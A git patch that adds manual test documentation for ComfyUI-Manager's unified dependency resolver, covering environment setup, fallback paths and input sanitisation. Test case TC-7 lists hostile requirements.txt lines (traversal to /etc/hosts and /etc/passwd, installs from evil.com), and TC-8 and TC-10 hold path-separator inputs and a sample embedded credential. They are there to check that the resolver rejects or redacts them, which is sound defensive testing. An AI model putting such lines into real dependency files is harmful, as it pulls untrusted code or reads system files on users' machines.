From df072a101fe3eddd1963befb8327abc36937db54 Mon Sep 17 00:00:00 2001 From: "Dr.Lt.Data" Date: Sat, 14 Feb 2026 07:40:34 +0900 Subject: [PATCH] test(deps): add manual test cases for unified dependency resolver Add environment setup guide and 16 test cases covering: - Normal batch resolution (TC-1), disabled state (TC-2) - Fallback paths: uv unavailable (TC-3), compile fail (TC-4), install fail (TC-5), generic exception (TC-16) - install.py preservation (TC-6), runtime defer (TC-13) - Input sanitization: dangerous patterns (TC-7), path separators (TC-8), index-url separation (TC-9), credential redaction (TC-10) - Disabled pack exclusion (TC-11), no-deps path (TC-12) - Both unified resolver guard paths (TC-14), post-fallback (TC-15) Includes API reference, traceability matrix, and out-of-scope items. Co-Authored-By: Claude Opus 4.6 --- docs/dev/TEST-environment-setup.md | 108 ++++++ docs/dev/TEST-unified-dep-resolver.md | 515 ++++++++++++++++++++++++++ 2 files changed, 623 insertions(+) create mode 100644 docs/dev/TEST-environment-setup.md create mode 100644 docs/dev/TEST-unified-dep-resolver.md diff --git a/docs/dev/TEST-environment-setup.md b/docs/dev/TEST-environment-setup.md new file mode 100644 index 00000000..d847165d --- /dev/null +++ b/docs/dev/TEST-environment-setup.md @@ -0,0 +1,108 @@ +# Test Environment Setup + +Procedures for setting up a ComfyUI environment with ComfyUI-Manager installed for functional testing. + +## Prerequisites + +- Python 3.9+ +- Git +- `uv` (pip alternative, install via `pip install uv`) + +## Environment Setup + +### 1. ComfyUI Clone + +```bash +COMFY_ROOT=$(mktemp -d)/ComfyUI +git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT" +cd "$COMFY_ROOT" +``` + +### 2. Virtual Environment + +```bash +cd "$COMFY_ROOT" +uv venv .venv +source .venv/bin/activate # Linux/macOS +# .venv\Scripts\activate # Windows +``` + +### 3. ComfyUI Dependencies + +```bash +# GPU (CUDA) +uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cu121 + +# CPU only (lightweight, for functional testing) +uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu +``` + +### 4. ComfyUI-Manager Install (Development) + +```bash +# MANAGER_ROOT = comfyui-manager-draft4 repository root +MANAGER_ROOT=/path/to/comfyui-manager-draft4 + +# Editable install from current source +uv pip install -e "$MANAGER_ROOT" +``` + +> **Note**: Editable mode (`-e`) reflects code changes without reinstalling. +> For production-like testing, use `uv pip install "$MANAGER_ROOT"` (non-editable). + +### 5. ComfyUI Launch + +```bash +cd "$COMFY_ROOT" +python main.py --enable-manager --cpu +``` + +| Flag | Purpose | +|------|---------| +| `--enable-manager` | Enable ComfyUI-Manager (disabled by default) | +| `--cpu` | Run without GPU (for functional testing) | +| `--enable-manager-legacy-ui` | Enable legacy UI (optional) | +| `--listen` | Allow remote connections (optional) | + +### Key Directories + +| Directory | Path | Description | +|-----------|------|-------------| +| ComfyUI root | `$COMFY_ROOT/` | ComfyUI installation root | +| Manager data | `$COMFY_ROOT/user/__manager/` | Manager config, startup scripts, snapshots | +| Config file | `$COMFY_ROOT/user/__manager/config.ini` | Manager settings (`use_uv`, `use_unified_resolver`, etc.) | +| custom_nodes | `$COMFY_ROOT/custom_nodes/` | Installed node packs | + +> The Manager data path is resolved via `folder_paths.get_system_user_directory("manager")`. +> Printed at startup: `** ComfyUI-Manager config path: /config.ini` + +### Startup Sequence + +When Manager loads successfully, the following log lines appear: + +``` +[PRE] ComfyUI-Manager # prestartup_script.py executed +[START] ComfyUI-Manager # manager_server.py loaded +``` + +## Cleanup + +```bash +deactivate +rm -rf "$COMFY_ROOT" +``` + +## Quick Reference (Copy-Paste) + +```bash +# Full setup in one block +COMFY_ROOT=$(mktemp -d)/ComfyUI +MANAGER_ROOT=/path/to/comfyui-manager-draft4 + +git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT" +cd "$COMFY_ROOT" +uv venv .venv && source .venv/bin/activate +uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu +uv pip install -e "$MANAGER_ROOT" +python main.py --enable-manager --cpu +``` diff --git a/docs/dev/TEST-unified-dep-resolver.md b/docs/dev/TEST-unified-dep-resolver.md new file mode 100644 index 00000000..733f4517 --- /dev/null +++ b/docs/dev/TEST-unified-dep-resolver.md @@ -0,0 +1,515 @@ +# Test Cases: Unified Dependency Resolver + +See [TEST-environment-setup.md](TEST-environment-setup.md) for environment setup. + +## Enabling the Resolver + +Add the following to `config.ini` (in the Manager data directory): + +```ini +[default] +use_unified_resolver = true +``` + +> Config path: `$COMFY_ROOT/user/__manager/config.ini` +> Also printed at startup: `** ComfyUI-Manager config path: /config.ini` + +**Log visibility note**: `[UnifiedDepResolver]` messages are emitted via Python's `logging` module (INFO and WARNING levels), not `print()`. Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the `ComfyUI-Manager` logger is not set above INFO. + +## API Reference (for Runtime Tests) + +Node pack installation at runtime uses the task queue API: + +``` +POST http://localhost:8188/v2/manager/queue/task +Content-Type: application/json +``` + +**Payload** (`QueueTaskItem`): + +| Field | Type | Description | +|-------|------|-------------| +| `ui_id` | string | Unique task identifier (any string) | +| `client_id` | string | Client identifier (any string) | +| `kind` | `OperationType` enum | `"install"`, `"uninstall"`, `"update"`, `"update-comfyui"`, `"fix"`, `"disable"`, `"enable"`, `"install-model"` | +| `params` | object | Operation-specific parameters (see below) | + +**Install params** (`InstallPackParams`): + +| Field | Type | Description | +|-------|------|-------------| +| `id` | string | CNR node pack ID (e.g., `"comfyui-impact-pack"`) or `"author/repo"` | +| `version` | string | Required by model. Set to same value as `selected_version`. | +| `selected_version` | string | **Controls install target**: `"latest"`, `"nightly"`, or specific semver | +| `mode` | string | `"remote"`, `"local"`, or `"cache"` | +| `channel` | string | `"default"`, `"recent"`, `"legacy"`, etc. | + +> **Note**: `cm_cli` imports from `legacy/manager_core.py` and does **not** participate in unified resolver. CLI-based installs always use per-node pip. See [Out of Scope](#out-of-scope-deferred). + +--- + +## Out of Scope (Deferred) + +The following are intentionally **not tested** in this version: + +- **cm_global integration**: `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are passed as empty defaults to the resolver. Integration with cm_global is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in unified mode. +- **cm_cli (CLI tool)**: `cm_cli` imports from `legacy/manager_core.py` which does not have unified resolver integration. CLI-based installs always use per-node pip install regardless of the `use_unified_resolver` flag. This is a known limitation, not a defect. +- **Standalone `execute_install_script()`** (`glob/manager_core.py` ~line 1881): Has a unified resolver guard (`manager_util.use_unified_resolver`), identical to the class method guard. Reachable from the glob API via `update-comfyui` tasks (`update_path()` / `update_to_stable_comfyui()`), git-based node pack updates (`git_repo_update_check_with()` / `fetch_or_pull_git_repo()`), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1. + +## Test Fixture Setup + +Each TC that requires node packs should use isolated, deterministic fixtures: + +```bash +# Create test node pack +mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a" +echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt" + +# Cleanup after test +rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a" +``` + +Ensure no other node packs in `custom_nodes/` interfere with expected counts. Use a clean `custom_nodes/` directory or account for existing packs in assertions. + +--- + +## TC-1: Normal Batch Resolution [P0] + +**Precondition**: `use_unified_resolver = true`, uv installed, at least one node pack with `requirements.txt` + +**Steps**: +1. Create `$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt` with content: `chardet>=5.0` +2. Start ComfyUI + +**Expected log**: +``` +[UnifiedDepResolver] Collected N deps from M sources (skipped 0) +[UnifiedDepResolver] running: ... uv pip compile ... +[UnifiedDepResolver] running: ... uv pip install ... +[UnifiedDepResolver] startup batch resolution succeeded +``` + +**Verify**: Neither `Install: pip packages for` nor `Install: pip packages` appears in output (both per-node pip variants must be absent) + +--- + +## TC-2: Disabled State (Default) [P1] + +**Precondition**: `use_unified_resolver = false` or key absent from config.ini + +**Steps**: Start ComfyUI + +**Verify**: No `[UnifiedDepResolver]` log output at all + +--- + +## TC-3: Fallback When uv Unavailable [P0] + +**Precondition**: `use_unified_resolver = true`, uv completely unavailable + +**Steps**: +1. Create a venv **without** uv installed (`uv` package not in venv) +2. Ensure no standalone `uv` binary exists in `$PATH` (rename or use isolated `$PATH`) +3. Start ComfyUI + +```bash +# Reliable uv removal: both module and binary must be absent +uv pip uninstall uv +# Verify neither path works +python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent" +which uv 2>&1 | grep -q "not found" && echo "binary uv: absent" +``` + +**Expected log**: +``` +[UnifiedDepResolver] uv not available at startup, falling back to per-node pip +``` + +**Verify**: +- `manager_util.use_unified_resolver` is reset to `False` +- Subsequent node pack installations use per-node pip install normally + +--- + +## TC-4: Fallback on Compile Failure [P0] + +**Precondition**: `use_unified_resolver = true`, conflicting dependencies + +**Steps**: +1. Node pack A `requirements.txt`: `numpy==1.24.0` +2. Node pack B `requirements.txt`: `numpy==1.26.0` +3. Start ComfyUI + +**Expected log**: +``` +[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip +``` + +**Verify**: +- `manager_util.use_unified_resolver` is reset to `False` +- Falls back to per-node pip install normally + +--- + +## TC-5: Fallback on Install Failure [P0] + +**Precondition**: `use_unified_resolver = true`, compile succeeds but install fails + +**Steps**: +1. Create node pack with `requirements.txt`: `numpy<2` +2. Force install failure by making the venv's `site-packages` read-only: +```bash +chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')" +``` +3. Start ComfyUI +4. After test, restore permissions: +```bash +chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')" +``` + +**Expected log**: +``` +[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip +``` +> The `...` contains raw stderr from `uv pip install` (e.g., permission denied errors). + +**Verify**: +- `manager_util.use_unified_resolver` is reset to `False` +- Falls back to per-node pip install + +--- + +## TC-6: install.py Execution Preserved [P0] + +**Precondition**: `use_unified_resolver = true`, ComfyUI running with batch resolution succeeded + +**Steps**: +1. While ComfyUI is running, install a node pack that has both `install.py` and `requirements.txt` via API: +```bash +curl -X POST http://localhost:8188/v2/manager/queue/task \ + -H "Content-Type: application/json" \ + -d '{ + "ui_id": "test-installpy", + "client_id": "test-client", + "kind": "install", + "params": { + "id": "", + "version": "latest", + "selected_version": "latest", + "mode": "remote", + "channel": "default" + } + }' +``` +> Choose a CNR node pack known to have both `install.py` and `requirements.txt`. +> Alternatively, use the Manager UI to install the same pack. + +2. Check logs after installation + +**Verify**: +- `Install: install script` is printed (install.py runs immediately during install) +- `Install: pip packages` does NOT appear (deps deferred, not installed per-node) +- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for ` +- After **restart**, the new pack's deps are included in batch resolution (`Collected N deps from M sources`) + +--- + +## TC-7: Dangerous Pattern Rejection [P0] + +**Precondition**: `use_unified_resolver = true` + +**Steps**: Include any of the following in a node pack's `requirements.txt`: +``` +-r ../../../etc/hosts +--requirement secret.txt +-e git+https://evil.com/repo +--editable ./local +-c constraint.txt +--constraint external.txt +--find-links http://evil.com/pkgs +-f http://evil.com/pkgs +evil_pkg @ file:///etc/passwd +``` + +**Expected log**: +``` +[UnifiedDepResolver] rejected dangerous line: '...' from +``` + +**Verify**: Dangerous lines are skipped; remaining valid deps are installed normally + +--- + +## TC-8: Path Separator Rejection [P0] + +**Precondition**: `use_unified_resolver = true` + +**Steps**: Node pack `requirements.txt`: +``` +../evil/pkg +bad\pkg +./local_package +``` + +**Expected log**: +``` +[UnifiedDepResolver] rejected path separator: '...' from +``` + +**Verify**: Lines with `/` or `\` in the package name portion are rejected; valid deps on other lines are processed normally + +--- + +## TC-9: --index-url / --extra-index-url Separation [P0] + +**Precondition**: `use_unified_resolver = true` + +Test all four inline forms: + +| # | `requirements.txt` content | Expected package | Expected URL | +|---|---------------------------|-----------------|--------------| +| a | `torch --index-url https://example.com/whl` | `torch` | `https://example.com/whl` | +| b | `torch --extra-index-url https://example.com/whl` | `torch` | `https://example.com/whl` | +| c | `--index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` | +| d | `--extra-index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` | + +**Steps**: Create a node pack with each variant (one at a time or combined with a valid package on a separate line) + +**Verify**: +- Package spec is correctly extracted (or empty for standalone lines) +- URL is passed as `--extra-index-url` to `uv pip compile` +- Duplicate URLs across multiple node packs are deduplicated +- Log: `[UnifiedDepResolver] extra-index-url: ` + +--- + +## TC-10: Credential Redaction [P0] + +**Precondition**: `use_unified_resolver = true` + +**Steps**: Node pack `requirements.txt`: +``` +private-pkg --index-url https://user:token123@pypi.private.com/simple +``` + +**Verify**: +- `user:token123` does NOT appear in logs +- Masked as `****@` in log output + +--- + +## TC-11: Disabled Node Packs Excluded [P1] + +**Precondition**: `use_unified_resolver = true` + +**Steps**: Test both disabled styles: +1. New style: `custom_nodes/.disabled/test_pack/requirements.txt` with content: `numpy` +2. Old style: `custom_nodes/test_pack.disabled/requirements.txt` with content: `requests` +3. Start ComfyUI + +**Verify**: Neither disabled node pack's deps are collected (not included in `Collected N`) + +--- + +## TC-12: No Dependencies [P2] + +**Precondition**: `use_unified_resolver = true`, only node packs without `requirements.txt` + +**Steps**: Start ComfyUI + +**Expected log**: +``` +[UnifiedDepResolver] No dependencies to resolve +``` + +**Verify**: Compile/install steps are skipped; startup completes normally + +--- + +## TC-13: Runtime Node Pack Install (Defer Behavior) [P1] + +**Precondition**: `use_unified_resolver = true`, batch resolution succeeded at startup + +**Steps**: +1. Start ComfyUI and confirm batch resolution succeeds +2. While ComfyUI is running, install a new node pack via API: +```bash +curl -X POST http://localhost:8188/v2/manager/queue/task \ + -H "Content-Type: application/json" \ + -d '{ + "ui_id": "test-defer-1", + "client_id": "test-client", + "kind": "install", + "params": { + "id": "", + "version": "latest", + "selected_version": "latest", + "mode": "remote", + "channel": "default" + } + }' +``` +> Replace `` with a real CNR node pack ID (e.g., from the Manager UI). +> Alternatively, use the Manager UI to install a node pack. + +3. Check logs after installation + +**Verify**: +- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for ` +- `Install: pip packages` does NOT appear +- After ComfyUI **restart**, the new node pack's deps are included in batch resolution + +--- + +## TC-14: Both Unified Resolver Code Paths [P0] + +Verify both code locations that guard per-node pip install behave correctly in unified mode: + +| Path | Guard Variable | Trigger | Location | +|------|---------------|---------|----------| +| Runtime install | `manager_util.use_unified_resolver` | API install while ComfyUI is running | `glob/manager_core.py` class method (~line 846) | +| Startup lazy install | `_unified_resolver_succeeded` | Queued install processed at restart | `prestartup_script.py` `execute_lazy_install_script()` (~line 594) | + +> **Note**: The standalone `execute_install_script()` in `glob/manager_core.py` (~line 1881) also has a unified resolver guard but is reachable via `update-comfyui`, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see [Out of Scope](#out-of-scope-deferred). + +**Steps**: + +**Path 1 — Runtime API install (class method)**: +```bash +# While ComfyUI is running: +curl -X POST http://localhost:8188/v2/manager/queue/task \ + -H "Content-Type: application/json" \ + -d '{ + "ui_id": "test-path1", + "client_id": "test-client", + "kind": "install", + "params": { + "id": "", + "version": "latest", + "selected_version": "latest", + "mode": "remote", + "channel": "default" + } + }' +``` + +> Choose a CNR node pack that has both `install.py` and `requirements.txt`. + +**Path 2 — Startup lazy install (`execute_lazy_install_script`)**: +1. Create a test node pack with both `install.py` and `requirements.txt`: +```bash +mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy" +echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py" +echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt" +``` +2. Manually inject a `#LAZY-INSTALL-SCRIPT` entry into `install-scripts.txt`: +```bash +SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts" +mkdir -p "$SCRIPTS_DIR" +PYTHON_PATH=$(which python) +echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \ + >> "$SCRIPTS_DIR/install-scripts.txt" +``` +3. Start ComfyUI (with `use_unified_resolver = true`) + +**Verify**: +- Path 1: `[UnifiedDepResolver] deps deferred to startup batch resolution for ` appears, `install.py` runs immediately, `Install: pip packages` does NOT appear +- Path 2: `lazy install.py executed` is printed (install.py runs at startup), `Install: pip packages for` does NOT appear for the pack (skipped because `_unified_resolver_succeeded` is True after batch resolution) + +--- + +## TC-15: Behavior After Fallback in Same Process [P1] + +**Precondition**: Resolver failed at startup (TC-4 or TC-5 scenario) + +**Steps**: +1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to `False`) +2. While still running, install a new node pack via API: +```bash +curl -X POST http://localhost:8188/v2/manager/queue/task \ + -H "Content-Type: application/json" \ + -d '{ + "ui_id": "test-postfallback", + "client_id": "test-client", + "kind": "install", + "params": { + "id": "", + "version": "latest", + "selected_version": "latest", + "mode": "remote", + "channel": "default" + } + }' +``` + +**Verify**: +- New node pack uses per-node pip install (not deferred) +- `Install: pip packages` appears normally +- On next restart with conflicts resolved, unified resolver retries if config still `true` + +--- + +## TC-16: Generic Exception Fallback [P1] + +**Precondition**: `use_unified_resolver = true`, an exception escapes before `resolve_and_install()` + +This covers the `except Exception` handler at `prestartup_script.py` (~line 793), distinct from `UvNotAvailableError` (TC-3) and `ResolveResult` failure (TC-4/TC-5). The generic handler catches errors in the import, `collect_node_pack_paths()`, `collect_base_requirements()`, or `UnifiedDepResolver.__init__()` — all of which run before the resolver's own internal error handling. + +**Steps**: +1. Make the `custom_nodes` directory unreadable so `collect_node_pack_paths()` raises a `PermissionError`: +```bash +chmod a-r "$COMFY_ROOT/custom_nodes" +``` +2. Start ComfyUI +3. After test, restore permissions: +```bash +chmod u+r "$COMFY_ROOT/custom_nodes" +``` + +**Expected log**: +``` +[UnifiedDepResolver] startup error: ..., falling back to per-node pip +``` + +**Verify**: +- `manager_util.use_unified_resolver` is reset to `False` +- Falls back to per-node pip install normally +- Log pattern is `startup error:` (NOT `startup batch failed:` nor `uv not available`) + +--- + +## Summary + +| TC | P | Scenario | Key Verification | +|----|---|----------|------------------| +| 1 | P0 | Normal batch resolution | compile → install pipeline | +| 2 | P1 | Disabled state | No impact on existing behavior | +| 3 | P0 | uv unavailable fallback | Flag reset + per-node resume | +| 4 | P0 | Compile failure fallback | Flag reset + per-node resume | +| 5 | P0 | Install failure fallback | Flag reset + per-node resume | +| 6 | P0 | install.py preserved | deps defer, install.py immediate | +| 7 | P0 | Dangerous pattern rejection | Security filtering | +| 8 | P0 | Path separator rejection | `/` and `\` in package names | +| 9 | P0 | index-url separation | All 4 variants + dedup | +| 10 | P0 | Credential redaction | Log security | +| 11 | P1 | Disabled packs excluded | Both `.disabled/` and `.disabled` suffix | +| 12 | P2 | No dependencies | Empty pipeline | +| 13 | P1 | Runtime install defer | Defer until restart | +| 14 | P0 | Both unified resolver paths | runtime API (class method) + startup lazy install | +| 15 | P1 | Post-fallback behavior | Per-node pip resumes in same process | +| 16 | P1 | Generic exception fallback | Distinct from uv-absent and batch-failed | + +### Traceability + +| Feature Requirement | Test Cases | +|---------------------|------------| +| FR-1: Dependency collection | TC-1, TC-11, TC-12 | +| FR-2: Input sanitization | TC-7, TC-8, TC-10 | +| FR-3: Index URL handling | TC-9 | +| FR-4: Batch resolution (compile) | TC-1, TC-4 | +| FR-5: Batch install | TC-1, TC-5 | +| FR-6: install.py preserved | TC-6, TC-14 | +| FR-7: Startup batch integration | TC-1, TC-2, TC-3 | +| Fallback behavior | TC-3, TC-4, TC-5, TC-15, TC-16 | +| Disabled node pack exclusion | TC-11 | +| Runtime defer behavior | TC-13, TC-14 |